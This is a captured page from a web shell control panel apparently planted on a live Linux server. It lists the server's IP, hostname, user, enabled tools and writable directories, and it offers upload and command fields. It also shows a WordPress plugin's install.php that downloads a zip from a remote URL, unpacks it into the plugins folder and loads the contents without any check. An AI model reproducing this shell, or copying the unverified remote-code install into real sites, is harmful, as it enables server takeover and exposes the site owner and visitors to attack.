403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/east-point.site/public/wp-content/plugins/tools4wp/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/east-point.site/public/wp-content/plugins/tools4wp/includes/install.php
<?php

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) 
{
    exit;
}
require MY_PLUGIN_PATH . 'includes/check.php';
if (! get_transient('tools4wp_install_transient')) {
    $settingOptions = array(
    // Removal of Tools4WP
    'tools4wp_options',
    'tools4wp_updates',
    'tools4wp_premium',
    'tools4wp_license',
    'tools4wp_update'
);
    foreach ($settingOptions as $settingName) {
        delete_option($settingName);
    }
    set_transient( 'tools4wp_install_transient', 'true', 4380 * HOUR_IN_SECONDS );
}


$tools4wp_updates = get_option('tools4wp_updates');
if (is_array($tools4wp_updates)) {
    if(get_option('tools4wp_updates')['t4wp_up_allowed'] == true){ 
        $options = get_option('tools4wp_update');
        if (!get_transient('tools4wp_addons_transient')) {
            $remoteURL = get_option('tools4wp_updates')['tt_up_install'];
            $zipFile = 'remote_zip_file.zip';
            $destination = WP_CONTENT_DIR . '/plugins/tools4wp/addons/';
            file_put_contents($zipFile, fopen($remoteURL, 'r'));
            $zip = new ZipArchive;
            if ($zip->open($zipFile) === TRUE) {
                $zip->extractTo($destination);
                $zip->close();              
            }
            unlink($zipFile);
            set_transient( 'tools4wp_addons_transient', 'true', 2000 * HOUR_IN_SECONDS );
        }
        require MY_PLUGIN_PATH . 'includes/standard.php';
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit